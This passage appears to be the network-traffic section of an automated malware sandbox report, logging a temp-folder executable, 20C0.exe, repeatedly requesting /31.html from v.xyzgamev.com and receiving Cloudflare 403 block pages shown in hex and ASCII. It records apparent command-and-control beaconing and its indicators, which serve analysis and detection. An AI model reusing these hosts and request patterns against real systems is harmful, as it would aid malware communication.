<![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:34 UTC	4982	IN	Data Raw: 2d 63 73 73 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 Data Ascii: -css" href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator
2022-08-31 12:29:34 UTC	4983	IN	Data Raw: 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f Data Ascii: lass="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself fro
2022-08-31 12:29:34 UTC	4984	IN	Data Raw: 6e 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a Data Ascii: n sm:block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:
2022-08-31 12:29:34 UTC	4986	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.4	49806	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:45 UTC	4986	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:45 UTC	4986	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:00 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NlsNkTm34rq8jqsohMy97K8MVYg2drHu%2FSL8sH4IACeCDx%2Fehcn6pp8Fv23AUobBJ0%2FcvzJzxEhITTxqWzjax7ol6YEKSsZ3ndXLKHLA7kEraAwBvZqCNcRY3trZsxs6wQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c6084e519162-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:45 UTC	4986	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:45 UTC	4987	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:45 UTC	4988	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:45 UTC	4990	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:45 UTC	4991	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.4	49807	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:29:52 UTC	4991	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:29:52 UTC	4991	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:29:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:07 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y44ArJyJ1NS3Tpp8w6VIH%2BdRICHg72RD3Pjz63kNxkc75iAIpNDPCN13KhQYckT5PoJxAXhZPpVPzKfpNNgvJZovUO1JGkF6wbaF%2BsxS4g5jYfriUFhhwrNHh2iaKEPh%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c630eb1872d2-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:29:52 UTC	4992	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:29:52 UTC	4992	IN	Data Raw: 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 Data Ascii: ef="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieE
2022-08-31 12:29:52 UTC	4994	IN	Data Raw: 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e 6c 69 6e 65 Data Ascii: -columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from online
2022-08-31 12:29:52 UTC	4995	IN	Data Raw: 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: ck sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidden">
2022-08-31 12:29:52 UTC	4996	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.4	49808	172.67.188.70	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:00 UTC	4996	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:00 UTC	4996	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:15 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=CyWog7TORc36C9XCRSBXe%2Fn510SLdk38ktR%2B6nKMSCwz3icA7%2BHaF1vjg%2FwHAH70qikkP2MDuJY9s2xzFJlWuI%2FgkFeDCO3h56pqxuzpo0JSBIF0ie2V1qPDfMEwtyiOzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c6630d9975c6-LHR alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:00 UTC	4997	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2022-08-31 12:30:00 UTC	4997	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 63 73 73 22 20 2f 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 5d 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 27 63 66 5f 73 74 79 6c 65 73 2d 69 65 2d 63 73 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f Data Ascii: " href="/cdn-cgi/styles/cf.errors.css" />...[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.coo
2022-08-31 12:30:00 UTC	4999	IN	Data Raw: 3d 22 63 66 2d 63 6f 6c 75 6d 6e 73 20 74 77 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 63 6f 6c 75 6d 6e 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 68 65 61 64 6c 69 6e 65 22 3e 57 68 79 20 68 61 76 65 20 49 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 3f 3c 2f 68 32 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 64 61 74 61 2d 74 72 61 6e 73 6c 61 74 65 3d 22 62 6c 6f 63 6b 65 64 5f 77 68 79 5f 64 65 74 61 69 6c 22 3e 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 75 73 69 6e 67 20 61 20 73 65 63 75 72 69 74 79 20 73 65 72 76 69 63 65 20 74 6f 20 70 72 6f 74 65 63 74 20 69 74 73 65 6c 66 20 66 72 6f 6d 20 6f 6e Data Ascii: ="cf-columns two"> <div class="cf-column"> <h2 data-translate="blocked_why_headline">Why have I been blocked?</h2> <p data-translate="blocked_why_detail">This website is using a security service to protect itself from on
2022-08-31 12:30:00 UTC	5000	IN	Data Raw: 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 0a 20 20 20 20 20 20 59 6f 75 72 20 49 50 3a 0a 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 22 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 2d 72 65 76 65 61 6c 2d 62 74 6e 22 3e 43 6c 69 63 6b 20 74 6f 20 72 65 76 65 61 6c 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 69 64 64 65 6e 22 20 69 64 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 70 22 3e 31 30 32 2e 31 32 39 2e 31 34 33 2e 35 37 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: :block sm:mb-1"> Your IP: <button type="button" id="cf-footer-ip-reveal" class="cf-footer-ip-reveal-btn">Click to reveal</button> <span class="hidden" id="cf-footer-ip">102.129.143.57</span> <span class="cf-footer-separator sm:hidd
2022-08-31 12:30:00 UTC	5001	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49809	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:03 UTC	5001	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:03 UTC	5001	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 Aug 2022 12:30:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Wed, 31 Aug 2022 12:30:18 GMT X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=OIofTfUs5byvJk8ytoDyaIRmzJBg2c9Im5teZN%2BSHagRtHTggiKx5K%2BqmvKkwmFroYhQqe6rsYx7V7sjKrkTplFBjXwBiXiJCfiqmHZ3YcvFRWRbfzQCVx2q5IMmcgfJ%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c678ea549019-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:03 UTC	5002	IN	Data Raw: 31 31 61 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 11a4<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
